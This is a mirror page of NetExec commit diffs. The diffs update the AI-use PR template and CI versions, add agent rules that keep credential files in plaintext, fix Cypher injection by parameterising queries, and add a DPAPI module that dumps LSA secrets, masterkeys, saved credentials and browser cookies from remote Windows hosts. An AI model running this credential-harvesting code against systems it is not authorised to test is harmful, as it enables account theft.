mirror of
https://github.com/Pennyw0rth/NetExec.git
synced 2026-11-12 13:13:50 -10:00
Compare commits
324
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
468f5923ed | ||
|
|
7def180f59 | ||
|
|
c14cab226e | ||
|
|
68e1ad2031 | ||
|
|
8a502536d5 | ||
|
|
35a02b4059 | ||
|
|
98a4679a23 | ||
|
|
9ddb09a0bc | ||
|
|
a5e9d4a4e5 | ||
|
|
7b98eccef5 | ||
|
|
a1036a1677 | ||
|
|
901d53ade4 | ||
|
|
396e34fe82 | ||
|
|
b09311a9df | ||
|
|
62fc9a6ffa | ||
|
|
aaaa369156 | ||
|
|
57daa0baeb | ||
|
|
7eb995f6cb | ||
|
|
bf32ced7d7 | ||
|
|
59c451d36f | ||
|
|
735ccc3db2 | ||
|
|
bcf045a882 | ||
|
|
f51dd4f4df | ||
|
|
89a698d93d | ||
|
|
6c312cd791 | ||
|
|
0602ef4367 | ||
|
|
28e585121f | ||
|
|
f7835c3ba7 | ||
|
|
a419bd58e3 | ||
|
|
893ff6f1ff | ||
|
|
1d8296c67c | ||
|
|
ca96761290 | ||
|
|
e9fd573953 | ||
|
|
93afe3e049 | ||
|
|
f5d2c8803f | ||
|
|
90f2d9c165 | ||
|
|
9ec65be0c8 | ||
|
|
c6665867bf | ||
|
|
43c569aa8d | ||
|
|
f8b53ae8ba | ||
|
|
f0c40cd85d | ||
|
|
306bf295dc | ||
|
|
0c21bf9bcd | ||
|
|
ec6d41f10e | ||
|
|
7135d89d92 | ||
|
|
94048441cb | ||
|
|
609f03a184 | ||
|
|
535f26ddc5 | ||
|
|
8f2fa9689e | ||
|
|
9592f690fd | ||
|
|
0ded751b31 | ||
|
|
8adf9cbd55 | ||
|
|
7a199c211f | ||
|
|
ea761c1330 | ||
|
|
d688285c76 | ||
|
|
064374ceb9 | ||
|
|
07aef24f0f | ||
|
|
3e0e37e8b5 | ||
|
|
b37469c673 | ||
|
|
59bfc04b7e | ||
|
|
641ba4d486 | ||
|
|
61bec860e9 | ||
|
|
47025801b1 | ||
|
|
71c36e9a09 | ||
|
|
6555186bce | ||
|
|
bb7afd4a09 | ||
|
|
226a2f4d3e | ||
|
|
e056c5a857 | ||
|
|
d8bc2f7dc8 | ||
|
|
13d00e4b22 | ||
|
|
910415c897 | ||
|
|
91b0964e75 | ||
|
|
4187fa7bf7 | ||
|
|
74c93d147d | ||
|
|
ba64b23ff5 | ||
|
|
752c43f0c8 | ||
|
|
641f99d192 | ||
|
|
a47d07e005 | ||
|
|
87d34add5f | ||
|
|
bde37055bc | ||
|
|
654f3c12d8 | ||
|
|
31ca909e4e | ||
|
|
5e31253313 | ||
|
|
150f323e90 | ||
|
|
736ca36c56 | ||
|
|
25076be9df | ||
|
|
88c4963fc6 | ||
|
|
c812041b17 | ||
|
|
23be541d0a | ||
|
|
a995133e83 | ||
|
|
c375b3bb8c | ||
|
|
4134e689e0 | ||
|
|
83df61b0bd | ||
|
|
bd87cc26ee | ||
|
|
1b3f75b06b | ||
|
|
18a2bfa6de | ||
|
|
ed9fb8b33f | ||
|
|
fb0fbc197d | ||
|
|
c8394ad1d6 | ||
|
|
72abb0776e | ||
|
|
cd956dd91f | ||
|
|
27a3a3a796 | ||
|
|
ef3d4c8a76 | ||
|
|
643c9370e5 | ||
|
|
2f1c3e0275 | ||
|
|
26568e44ab | ||
|
|
b9535e6775 | ||
|
|
e3d86824ee | ||
|
|
fdb60ae38e | ||
|
|
a8dec3c6f7 | ||
|
|
f1726b0520 | ||
|
|
fc3fb874c0 | ||
|
|
9bfa036013 | ||
|
|
3e0cc700e7 | ||
|
|
553224031e | ||
|
|
421bd670d2 | ||
|
|
1920b3b515 | ||
|
|
f55edf3987 | ||
|
|
af92759b49 | ||
|
|
3a7bf59909 | ||
|
|
12ebe0d34b | ||
|
|
818985bdd3 | ||
|
|
e63a43c1f0 | ||
|
|
b4ce916a03 | ||
|
|
3808655afa | ||
|
|
a0a37b7af8 | ||
|
|
475a8419c7 | ||
|
|
76486f14a5 | ||
|
|
f0e0cc6c84 | ||
|
|
03ae02ec01 | ||
|
|
57c5af5fc2 | ||
|
|
9eb36e489b | ||
|
|
325cd1c73b | ||
|
|
efb0f308e9 | ||
|
|
3299d94e92 | ||
|
|
4f6ef43aca | ||
|
|
ff52856d2e | ||
|
|
99c65e87b0 | ||
|
|
60b3a5d3d0 | ||
|
|
22840bfc2a | ||
|
|
615a501dff | ||
|
|
5f5aa26a46 | ||
|
|
85aa3486d8 | ||
|
|
11d9151737 | ||
|
|
a43afcee4f | ||
|
|
df9c32276a | ||
|
|
47af3a022c | ||
|
|
4fd05318df | ||
|
|
e193097969 | ||
|
|
5b83b43486 | ||
|
|
d542b20224 | ||
|
|
d4cdc6c019 | ||
|
|
3746e0d8cc | ||
|
|
81e53ecb9c | ||
|
|
310979ab59 | ||
|
|
852549566c | ||
|
|
d5e04789c4 | ||
|
|
db63325450 | ||
|
|
7bd77885b7 | ||
|
|
aecf64dbc7 | ||
|
|
0b3f805283 | ||
|
|
d3c3ca9dea | ||
|
|
a6017269af | ||
|
|
ee3dd5e0e6 | ||
|
|
490d7397f2 | ||
|
|
f1078b6622 | ||
|
|
e5b7a5f3b4 | ||
|
|
164f35dddd | ||
|
|
4e2c0a60d4 | ||
|
|
9249bb3834 | ||
|
|
317840f6df | ||
|
|
44267c807f | ||
|
|
44cc9f1333 | ||
|
|
333ec792f0 | ||
|
|
a92275586e | ||
|
|
32469fea8b | ||
|
|
5823cdba20 | ||
|
|
a7626dd2c4 | ||
|
|
6b5f557736 | ||
|
|
40abafc41b | ||
|
|
6c29f3c6e4 | ||
|
|
c3122a9487 | ||
|
|
e6deadf5c7 | ||
|
|
dde1482435 | ||
|
|
ff987ee634 | ||
|
|
c72f2ca98e | ||
|
|
402615522e | ||
|
|
5d9ea3a0ad | ||
|
|
c612a1347a | ||
|
|
90efb2a9f3 | ||
|
|
8073a798e0 | ||
|
|
6699b40757 | ||
|
|
98d0549ae1 | ||
|
|
8230e9a2d3 | ||
|
|
0cc365cef2 | ||
|
|
b328661dd4 | ||
|
|
7fd40a391c | ||
|
|
467123465a | ||
|
|
0de205c95f | ||
|
|
887941fc50 | ||
|
|
5e95c3490e | ||
|
|
eee763caad | ||
|
|
26e2007d77 | ||
|
|
59d29c895a | ||
|
|
ce33ac0f8d | ||
|
|
2fc046558c | ||
|
|
2e96341424 | ||
|
|
978270ad00 | ||
|
|
9e94f58081 | ||
|
|
4bf5abdcdc | ||
|
|
961f4e5028 | ||
|
|
6ee4802743 | ||
|
|
42fe6b4840 | ||
|
|
7308add93f | ||
|
|
a9b8cf8e0a | ||
|
|
ff3d4937b4 | ||
|
|
b114c644c5 | ||
|
|
0d2af8bdd5 | ||
|
|
78d607b84b | ||
|
|
34b7a35118 | ||
|
|
48cc6b0e30 | ||
|
|
65f4714953 | ||
|
|
3c52ecb40e | ||
|
|
ee9f59e513 | ||
|
|
b6f20e40b9 | ||
|
|
ab4a44cf4d | ||
|
|
4711814adb | ||
|
|
a819614fc2 | ||
|
|
0de1fc8cd5 | ||
|
|
92e61efe14 | ||
|
|
01536dc628 | ||
|
|
8e4fc22290 | ||
|
|
1d06afcc84 | ||
|
|
c5ab84af01 | ||
|
|
cb7d22ccbc | ||
|
|
473e33352e | ||
|
|
35bf9d183e | ||
|
|
b5da832c31 | ||
|
|
d4ee81fa3f | ||
|
|
79e14ea61e | ||
|
|
31428e9674 | ||
|
|
14f10c31f8 | ||
|
|
5b1ee92773 | ||
|
|
ab7c2d56d3 | ||
|
|
5d45303e19 | ||
|
|
ac6f58149f | ||
|
|
78169e8354 | ||
|
|
22db44f380 | ||
|
|
2aa0601c88 | ||
|
|
ae77d482b9 | ||
|
|
9bba4a1013 | ||
|
|
5b6647b4d0 | ||
|
|
daed14661a | ||
|
|
d950a5cc13 | ||
|
|
163139b115 | ||
|
|
130c668de8 | ||
|
|
395bad514d | ||
|
|
a34140e7c1 | ||
|
|
2f11e2f41e | ||
|
|
100f3a1428 | ||
|
|
7a8b85406a | ||
|
|
7ca004be28 | ||
|
|
5bd45d2ca6 | ||
|
|
d97907bff8 | ||
|
|
f210749bcb | ||
|
|
59778f5b70 | ||
|
|
98ae72fa2c | ||
|
|
4a235a45b6 | ||
|
|
2d04789b10 | ||
|
|
f2cbdc4372 | ||
|
|
6b509c402a | ||
|
|
fe758a6270 | ||
|
|
f0047bc321 | ||
|
|
f476bf2313 | ||
|
|
2d35724a6e | ||
|
|
88d0c7bb3f | ||
|
|
7ccf5aaddb | ||
|
|
e60d8f1b34 | ||
|
|
db422c71b2 | ||
|
|
6c59c7a11e | ||
|
|
f6e85c809e | ||
|
|
77f6ab4f85 | ||
|
|
9860c5fded | ||
|
|
d96e92d867 | ||
|
|
dc7e0e432d | ||
|
|
dd72a956e6 | ||
|
|
6b030fce79 | ||
|
|
c79f649f9d | ||
|
|
f01876f3f9 | ||
|
|
9bd4e8e832 | ||
|
|
c94d00fbc1 | ||
|
|
7fcb9b26ae | ||
|
|
812c63e00b | ||
|
|
59c032e4dd | ||
|
|
e8ad9528f9 | ||
|
|
09f3f823c6 | ||
|
|
c20060a64a | ||
|
|
77f7f19223 | ||
|
|
262487ba03 | ||
|
|
e2a7b853d7 | ||
|
|
cfc9123142 | ||
|
|
50d9103181 | ||
|
|
7fed03bd6a | ||
|
|
2c5abef853 | ||
|
|
b96c7899ee | ||
|
|
7cad502a16 | ||
|
|
3c7497e728 | ||
|
|
412b97af50 | ||
|
|
e7304d9ec9 | ||
|
|
f3a90d9aca | ||
|
|
d21ee2d6b1 | ||
|
|
ccf36b492e | ||
|
|
9c293a8eb9 | ||
|
|
68abd128e6 | ||
|
|
adfd529593 | ||
|
|
a8a94671ea | ||
|
|
fea06fe912 | ||
|
|
6512a9801e | ||
|
|
a29c162d33 | ||
|
|
03c2821c11 | ||
|
|
664055c7c3 | ||
|
|
ac55e28fee | ||
|
|
74c2cd0c89 | ||
|
|
5b1cacf566 |
No files matched your search
@@ -2,10 +2,16 @@
|
||||
Please include a summary of the change and which issue is fixed, or what the enhancement does.
|
||||
List any dependencies that are required for this change.
|
||||
|
||||
If you have used AI in any form, please state the tool you used (e.g. Claude Code, Cursor, Amp) along with the extent that the work was AI-assisted. See the project's AI policy for more details: https://github.com/Pennyw0rth/NetExec/blob/main/AI_POLICY.md
|
||||
### AI Assistance
|
||||
If you have used AI in any form, please state the tool you used (e.g. Claude Code, Cursor, Amp) along with the extent that the work was AI-assisted.
|
||||
|
||||
Note that if you have used AI, you:
|
||||
- MUST test the changes against a live system
|
||||
- MUST include a screenshot of such a test (e.g. with a before and after screenshot when submitting a bug fix)
|
||||
- MUST fill out this PR template by hand, see the project's AI policy: [AI_POLICY.md](https://github.com/Pennyw0rth/NetExec/blob/main/AI_POLICY.md)
|
||||
|
||||
## Type of change
|
||||
Insert an "x" inside the brackets for relevant items (do not delete options)
|
||||
Insert an "x" inside the brackets for relevant items
|
||||
|
||||
- [ ] Bug fix (non-breaking change which fixes an issue)
|
||||
- [ ] New feature (non-breaking change which adds functionality)
|
||||
@@ -16,7 +22,8 @@ Insert an "x" inside the brackets for relevant items (do not delete options)
|
||||
- [ ] This PR was created with the assistance of AI (list what type of assistance, tool(s)/model(s) in the description)
|
||||
|
||||
## Setup guide for the review
|
||||
Please provide guidance on what setup is needed to test the introduced changes, such as your locally running machine Python version & OS, as well as the target(s) you tested against, including software versions.
|
||||
Please provide guidance on what setup is needed to test the introduced changes, such as the target(s) you tested against or software versions.
|
||||
|
||||
In particular:
|
||||
- Bug Fix: Please provide a short description on how to trigger the bug, to make the bug reproducable for the reviewer.
|
||||
- Added Feature/Enhancement: Please specify what setup is needed in order to test the changes, such as:
|
||||
|
||||
@@ -10,7 +10,7 @@ jobs:
|
||||
strategy:
|
||||
matrix:
|
||||
os: [ubuntu-latest, macOS-latest, windows-latest]
|
||||
python-version: ["3.10", "3.11", "3.12", "3.13", "3.14"]
|
||||
python-version: ["3.11", "3.12", "3.13", "3.14"]
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: NetExec set up python on ${{ matrix.os }}
|
||||
|
||||
@@ -14,7 +14,7 @@ jobs:
|
||||
max-parallel: 5
|
||||
matrix:
|
||||
os: [ubuntu-latest]
|
||||
python-version: ["3.10", "3.11", "3.12", "3.13", "3.14"]
|
||||
python-version: ["3.11", "3.12", "3.13", "3.14"]
|
||||
steps:
|
||||
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
|
||||
- name: Install uv
|
||||
|
||||
@@ -36,6 +36,7 @@
|
||||
# Filesystem and source conventions
|
||||
|
||||
- Assume that the underlying operating system and its storage are fully secure. Files and other data produced by NetExec may intentionally contain readable plaintext credentials; do not add encryption, redaction, restrictive permission handling, or permission warnings unless explicitly requested.
|
||||
- Before opening, creating, writing, renaming, moving, or deleting a file or directory, sanitize every path component derived from untrusted data and verify that the resulting path cannot traverse outside its intended base directory.
|
||||
- Place every file and directory produced by NetExec under `NXC_PATH` by default, using `TMP_PATH` for temporary artifacts. An explicit user-provided output path or task requirement may override this default.
|
||||
- `NXC_PATH` defaults to `~/.nxc` but may be overridden by the environment. Import and use `NXC_PATH` or its derived path constants instead of hardcoding `~/.nxc`.
|
||||
- Place imports at the top of files unless explicitly instructed otherwise.
|
||||
+11
-37
@@ -14,15 +14,11 @@ from socket import AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME, getaddrinfo
|
||||
|
||||
from nxc.config import pwned_label
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.loaders.moduleloader import ModuleLoader, ModuleOptionsError
|
||||
from nxc.logger import nxc_logger, NXCAdapter
|
||||
from nxc.context import Context
|
||||
from nxc.paths import NXC_PATH
|
||||
from nxc.protocols.ldap.laps import laps_search
|
||||
from nxc.helpers.pfx import pfx_auth
|
||||
|
||||
from impacket.dcerpc.v5 import transport
|
||||
from impacket.krb5.ccache import CCache
|
||||
|
||||
sem = BoundedSemaphore(1)
|
||||
fail_lock = Lock()
|
||||
@@ -100,37 +96,6 @@ def requires_admin(func):
|
||||
return wraps(func)(_decorator)
|
||||
|
||||
|
||||
def dcom_FirewallChecker(iInterface, remoteHost, timeout):
|
||||
stringBindings = iInterface.get_cinstance().get_string_bindings()
|
||||
for strBinding in stringBindings:
|
||||
if strBinding["wTowerId"] == 7:
|
||||
if strBinding["aNetworkAddr"].find("[") >= 0:
|
||||
binding, _, bindingPort = strBinding["aNetworkAddr"].partition("[")
|
||||
bindingPort = "[" + bindingPort
|
||||
else:
|
||||
binding = strBinding["aNetworkAddr"]
|
||||
bindingPort = ""
|
||||
|
||||
if binding.upper().find(iInterface.get_target().upper()) >= 0:
|
||||
stringBinding = "ncacn_ip_tcp:" + strBinding["aNetworkAddr"][:-1]
|
||||
break
|
||||
elif iInterface.is_fqdn() and binding.upper().find(iInterface.get_target().upper().partition(".")[0]) >= 0:
|
||||
stringBinding = f"ncacn_ip_tcp:{iInterface.get_target()}{bindingPort}"
|
||||
if "stringBinding" not in locals():
|
||||
return True, None
|
||||
try:
|
||||
rpctransport = transport.DCERPCTransportFactory(stringBinding)
|
||||
rpctransport.setRemoteHost(remoteHost)
|
||||
rpctransport.set_connect_timeout(timeout)
|
||||
rpctransport.connect()
|
||||
rpctransport.disconnect()
|
||||
except Exception as e:
|
||||
nxc_logger.debug(f"Exception while connecting to {stringBinding}: {e}")
|
||||
return False, stringBinding
|
||||
else:
|
||||
return True, stringBinding
|
||||
|
||||
|
||||
class connection:
|
||||
def __init__(self, args, db, target):
|
||||
self.args = args
|
||||
@@ -181,6 +146,8 @@ class connection:
|
||||
self.proto_flow()
|
||||
except FileNotFoundError as e:
|
||||
self.logger.error(f"File not found error on target {target}: {e}")
|
||||
except ConnectionRefusedError as e:
|
||||
self.logger.error(f"Target {target} refused the connection: {e}")
|
||||
except Exception as e:
|
||||
if "ERROR_DEPENDENT_SERVICES_RUNNING" in str(e):
|
||||
self.logger.error(f"Exception while calling proto_flow() on target {target}: {e}")
|
||||
@@ -249,7 +216,7 @@ class connection:
|
||||
|
||||
# Construct the output file template using os.path.join for OS compatibility
|
||||
base_log_dir = os.path.join(NXC_PATH, "logs")
|
||||
filename_pattern = f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
|
||||
filename_pattern = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}", max_bytes=220)
|
||||
self.output_file_template = os.path.join(base_log_dir, "{output_folder}", filename_pattern)
|
||||
# Default output filename for logs
|
||||
self.output_filename = os.path.join(base_log_dir, filename_pattern)
|
||||
@@ -557,6 +524,7 @@ class connection:
|
||||
if self.args.use_kcache:
|
||||
self.logger.debug("Trying to authenticate using Kerberos cache")
|
||||
with sem:
|
||||
from impacket.krb5.ccache import CCache
|
||||
username = self.args.username[0] if len(self.args.username) else CCache.parseFile()[1]
|
||||
password = self.args.password[0] if len(self.args.password) else ""
|
||||
self.kerberos_login(self.domain, username, password, "", "", self.kdcHost, True)
|
||||
@@ -565,14 +533,20 @@ class connection:
|
||||
|
||||
if self.args.pfx_cert or self.args.pfx_base64 or self.args.pem_cert:
|
||||
self.logger.debug("Trying to authenticate using Certificate pfx")
|
||||
if self.args.protocol == "ldap" and self.args.schannel:
|
||||
# Schannel maps the certificate to an account server-side, so the supplied username is ignored
|
||||
with sem:
|
||||
return self.plaintext_login(self.domain, "", "")
|
||||
if not self.args.username:
|
||||
self.logger.fail("You must specify a username when using certificate authentication")
|
||||
return False
|
||||
with sem:
|
||||
from nxc.helpers.pfx import pfx_auth
|
||||
return pfx_auth(self)
|
||||
|
||||
if hasattr(self.args, "laps") and self.args.laps:
|
||||
self.logger.debug("Trying to authenticate using LAPS")
|
||||
from nxc.protocols.ldap.laps import laps_search
|
||||
username[0], secret[0], domain[0] = laps_search(self, username, secret, cred_type, domain, self.dns_server)
|
||||
cred_type = ["plaintext"]
|
||||
if not (username[0] or secret[0] or domain[0]):
|
||||
|
||||
@@ -43,7 +43,7 @@ def add_user_bh(user, domain, logger, config):
|
||||
with driver.session().begin_transaction() as tx:
|
||||
for user_info in users_owned:
|
||||
distinguished_name = "".join([f"DC={dc}," for dc in user_info["domain"].split(".")]).rstrip(",")
|
||||
domain_query = tx.run(f"MATCH (d:Domain) WHERE d.distinguishedname STARTS WITH '{distinguished_name}' RETURN d").data()
|
||||
domain_query = tx.run("MATCH (d:Domain) WHERE d.distinguishedname STARTS WITH $distinguished_name RETURN d", distinguished_name=distinguished_name).data()
|
||||
if not domain_query:
|
||||
logger.debug(f"Domain {user_info['domain']} not found in BloodHound. Falling back to domainless query.")
|
||||
_add_without_domain(user_info, tx, logger)
|
||||
@@ -68,14 +68,14 @@ def _add_with_domain(user_info, domain, tx, logger):
|
||||
user_owned = f"{user_info['username']}@{domain}"
|
||||
account_type = "User"
|
||||
|
||||
result = tx.run(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) RETURN c").data()
|
||||
result = tx.run(f"MATCH (c:{account_type} {{name: $user_owned}}) RETURN c", user_owned=user_owned).data()
|
||||
|
||||
if len(result) == 0:
|
||||
logger.fail("Account not found in the BloodHound database.")
|
||||
return
|
||||
if result[0]["c"].get("owned") in (False, None):
|
||||
logger.debug(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) SET c.owned=True RETURN c.name AS name")
|
||||
result = tx.run(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) SET c.owned=True RETURN c.name AS name").data()[0]
|
||||
result = tx.run(f"MATCH (c:{account_type} {{name: $user_owned}}) SET c.owned=True RETURN c.name AS name", user_owned=user_owned).data()[0]
|
||||
logger.highlight(f"Node {result['name']} successfully set as owned in BloodHound")
|
||||
|
||||
|
||||
@@ -87,7 +87,7 @@ def _add_without_domain(user_info, tx, logger):
|
||||
user_owned = user_info["username"]
|
||||
account_type = "User"
|
||||
|
||||
result = tx.run(f"MATCH (c:{account_type}) WHERE c.name STARTS WITH '{user_owned}' RETURN c").data()
|
||||
result = tx.run(f"MATCH (c:{account_type}) WHERE c.name STARTS WITH $user_owned RETURN c", user_owned=user_owned).data()
|
||||
|
||||
if len(result) == 0:
|
||||
logger.fail("Account not found in the BloodHound database.")
|
||||
@@ -97,5 +97,5 @@ def _add_without_domain(user_info, tx, logger):
|
||||
return
|
||||
elif result[0]["c"].get("owned") in (False, None):
|
||||
logger.debug(f"MATCH (c:{account_type} {{name:'{result[0]['c']['name']}'}}) SET c.owned=True RETURN c.name AS name")
|
||||
result = tx.run(f"MATCH (c:{account_type} {{name:'{result[0]['c']['name']}'}}) SET c.owned=True RETURN c.name AS name").data()[0]
|
||||
result = tx.run(f"MATCH (c:{account_type} {{name: $user_owned}}) SET c.owned=True RETURN c.name AS name", user_owned=result[0]["c"]["name"]).data()[0]
|
||||
logger.highlight(f"Node {result['name']} successfully set as owned in BloodHound")
|
||||
@@ -0,0 +1,461 @@
|
||||
|
||||
from dploot.lib.network.smb import SMBTarget, DPLootSMBConnection
|
||||
from dploot.lib.target import Target
|
||||
from dploot.triage.backupkey import BackupkeyTriage
|
||||
from dploot.triage.browser import BrowserTriage, LoginData, GoogleRefreshToken, Cookie
|
||||
from dploot.triage.cng import CngTriage
|
||||
from dploot.triage.credentials import CredentialsTriage
|
||||
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file, Masterkey
|
||||
from dploot.triage.sccm import SCCMTriage, SCCMCred, SCCMSecret, SCCMCollection
|
||||
from dploot.triage.vaults import VaultsTriage
|
||||
|
||||
from nxc.helpers.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
|
||||
from nxc.helpers.logger import highlight
|
||||
|
||||
|
||||
def upgrade_to_dploot_connection(target, connection):
|
||||
"""
|
||||
DPLootConnection classes implements a whole lot of stuff to handle the DPAPI part.
|
||||
This function gets the calling NXC protocol and tries reuse the already opened connection
|
||||
on DPLoot directly. If not it opens up a new connection.
|
||||
"""
|
||||
conn = None
|
||||
protocol = target.protocol
|
||||
try:
|
||||
match protocol:
|
||||
case "smb":
|
||||
from dploot.lib.network.smb import DPLootSMBConnection
|
||||
conn = DPLootSMBConnection(target)
|
||||
if connection is not None:
|
||||
conn.smb_session = connection.conn
|
||||
else:
|
||||
conn.connect()
|
||||
case "wmi":
|
||||
from dploot.lib.network.wmi import DPLootWMIConnection
|
||||
conn = DPLootWMIConnection(target)
|
||||
if connection is not None:
|
||||
conn.dcom = connection.dcom_conn
|
||||
conn.iWbemLevel1Login = connection.iWbemLevel1Login
|
||||
else:
|
||||
conn.connect()
|
||||
case "winrm":
|
||||
from dploot.lib.network.winrm import DPLootWINRMConnection
|
||||
conn = DPLootWINRMConnection(target)
|
||||
if connection is not None:
|
||||
conn.conn = connection.conn
|
||||
else:
|
||||
conn.connect()
|
||||
case "mssql":
|
||||
from dploot.lib.network.mssql import DPLootMSSQLConnection
|
||||
conn = DPLootMSSQLConnection(target)
|
||||
if connection is not None:
|
||||
conn.conn = connection.conn
|
||||
except Exception as e:
|
||||
connection.logger.debug(e)
|
||||
return None
|
||||
|
||||
return conn
|
||||
|
||||
|
||||
class DPAPITriage:
|
||||
"""
|
||||
DPAPI engine in NetExec. Each protocol supporting DPAPI needs to implement this class.
|
||||
Since multiple NXC functionalities now implements DPAPI related secret recovery, this class aims to centralize
|
||||
it in order to ease implemented and maintaining DPAPI functionalities is NXC protocols, but also
|
||||
to avoid dumping masterkeys X times from the same target, loading the domain backup keys X times, etc.
|
||||
|
||||
To implement this class in a protocol, use a @property decorator on dpapi_triage like so:
|
||||
|
||||
```
|
||||
@property
|
||||
def dpapi_triage(self) -> DPAPITriage:
|
||||
if self._dpapi_triage is not None:
|
||||
return self._dpapi_triage
|
||||
target = <dploot target creation>
|
||||
|
||||
self._dpapi_triage = DPAPITriage(self, target)
|
||||
return self._dpapi_triage
|
||||
```
|
||||
|
||||
This way, every DPAPI related module will automaticaly work with the protocol
|
||||
|
||||
"""
|
||||
def __init__(self, connection, target: Target):
|
||||
self.connection = connection
|
||||
self.target = target
|
||||
|
||||
self.conn = None
|
||||
self.dump_cookies = False
|
||||
self.masterkeys = []
|
||||
self._pvkbytes = None
|
||||
|
||||
# Keep track of writing secrets in file
|
||||
self.output_file = self.connection.output_file_template.format(output_folder="dpapi")
|
||||
self.secrets_counter = 0
|
||||
|
||||
if connection.args.dpapi is not None:
|
||||
self.dump_cookies = "cookies" in connection.args.dpapi
|
||||
|
||||
# Variables to know what materkey types have already been dumped
|
||||
self.system_masterkeys_already_dumped = False
|
||||
self.users_masterkeys_already_dumped = False
|
||||
|
||||
# Initialize the connection here, if you need this class then you will need the connection
|
||||
self.init_connection()
|
||||
|
||||
def __del__(self):
|
||||
# When everything is finished, then we give the feedback to the user
|
||||
if self.output_file is not None and self.secrets_counter > 0:
|
||||
self.connection.logger.success(f"Dumped {highlight(self.secrets_counter)} DPAPI secrets to {self.output_file}")
|
||||
|
||||
def log_secret(self, line, logger=None):
|
||||
# Handle the secret counter here, avoid to handle it in multiple places
|
||||
if logger is None:
|
||||
logger = self.connection.logger
|
||||
logger.highlight(line)
|
||||
with open(self.output_file, "a", encoding="utf-8") as fd:
|
||||
self.secrets_counter += 1
|
||||
fd.write(line + "\n")
|
||||
|
||||
def init_connection(self):
|
||||
"""Tries to initiate a DPLootConnection object from a NXC connection"""
|
||||
if self.conn is not None:
|
||||
self.connection.logger.debug("DPLoot connection already initiated, skipping.")
|
||||
return
|
||||
self.conn = upgrade_to_dploot_connection(connection=self.connection, target=self.target)
|
||||
if self.conn is None:
|
||||
self.connection.logger.fail("Could not upgrade connection to allow DPAPI triage")
|
||||
return
|
||||
|
||||
def collect_masterkeys_from_target(self, dump_users: True, dump_system: False):
|
||||
"""
|
||||
Get and decrypt masterkeys from the target.
|
||||
dump_users: If True, then user masterkeys will be collected if they have not already been
|
||||
dump_system: If True, then system masterkeys will be collected if they have not already been
|
||||
"""
|
||||
# If we have already dumped everything, then we won't find new stuff
|
||||
if self.users_masterkeys_already_dumped and self.system_masterkeys_already_dumped:
|
||||
return self.masterkeys
|
||||
|
||||
masterkeys = []
|
||||
plaintexts = {}
|
||||
nthashes = {}
|
||||
|
||||
# First, check and handle the mkfile arg
|
||||
if self.connection.args.mkfile is not None:
|
||||
try:
|
||||
masterkeys += parse_masterkey_file(self.connection.args.mkfile)
|
||||
except Exception as e:
|
||||
self.connection.logger.fail(str(e))
|
||||
|
||||
# Then, use nxcdb to fill wordlists, this can help to decrypt some masterkeys
|
||||
if dump_users:
|
||||
users = self.conn.list_users()
|
||||
plaintexts = {username: password for _, _, username, password, _, _ in self.connection.db.get_credentials_for_users(usernames=users, cred_type="plaintext")}
|
||||
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in self.connection.db.get_credentials_for_users(usernames=users, cred_type="hash")}
|
||||
# dploot matches user.lower()
|
||||
if self.connection.password != "":
|
||||
plaintexts[self.connection.username.lower()] = self.connection.password
|
||||
if self.connection.nthash != "":
|
||||
nthashes[self.connection.username.lower()] = self.connection.nthash
|
||||
|
||||
# Now prepare the SYSTEM part
|
||||
if (dump_system
|
||||
and self.connection.dpapi_system_key is None
|
||||
and hasattr(self.connection, "lsa")
|
||||
and callable(self.connection.lsa)):
|
||||
# We can use the protocol specific LSA dump if not already dumped.
|
||||
# But first, just making sure the protocol supports LSA dump :)
|
||||
self.connection.logger.display("Dumping LSA secrets to get DPAPI SYSTEM keys")
|
||||
self.connection.lsa(quiet=True)
|
||||
if self.connection.dpapi_system_key is not None:
|
||||
self.connection.logger.highlight(f"dpapi_machinekey:{self.connection.dpapi_system_key['MachineKey'].hex()}")
|
||||
self.connection.logger.highlight(f"dpapi_userkey:{self.connection.dpapi_system_key['UserKey'].hex()}")
|
||||
else:
|
||||
self.connection.logger.fail("Could not get DPAPI SYSTEM keys")
|
||||
|
||||
# Invoke MasterkeyTriage class
|
||||
try:
|
||||
masterkeys_triage = MasterkeysTriage(
|
||||
target=self.target,
|
||||
conn=self.conn,
|
||||
pvkbytes=self.pvkbytes,
|
||||
passwords=plaintexts,
|
||||
nthashes=nthashes,
|
||||
dpapiSystem=self.connection.dpapi_system_key,
|
||||
)
|
||||
self.connection.logger.debug(f"Masterkeys Triage: {masterkeys_triage}")
|
||||
|
||||
# Collect User Masterkeys if this has not already been done
|
||||
if dump_users and not self.users_masterkeys_already_dumped:
|
||||
self.connection.logger.display("Collecting DPAPI Users masterkeys")
|
||||
masterkeys += masterkeys_triage.triage_masterkeys()
|
||||
# if multiple functionalities are calling masterkeys triage, make sur we do it only once
|
||||
self.users_masterkeys_already_dumped = True
|
||||
|
||||
# Collect SYSTEM Masterkeys if this has not already been done
|
||||
if self.connection.dpapi_system_key is not None and not self.system_masterkeys_already_dumped:
|
||||
self.connection.logger.display("Collecting DPAPI SYSTEM masterkeys")
|
||||
masterkeys += masterkeys_triage.triage_system_masterkeys()
|
||||
# if multiple functionalities are calling masterkeys triage, make sur we do it only once
|
||||
self.system_masterkeys_already_dumped = True
|
||||
except Exception as e:
|
||||
self.connection.logger.debug(f"Could not get masterkeys: {e}")
|
||||
self.masterkeys += masterkeys
|
||||
# If we decrypted new masterkeys, print the message
|
||||
if len(masterkeys) > 0:
|
||||
self.connection.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. ")
|
||||
return self.masterkeys
|
||||
|
||||
def triage_credentials(self, masterkeys: list[Masterkey]):
|
||||
# Collect User and Machine Credentials Manager secrets
|
||||
|
||||
def credential_callback(credential):
|
||||
tag = "CREDENTIAL"
|
||||
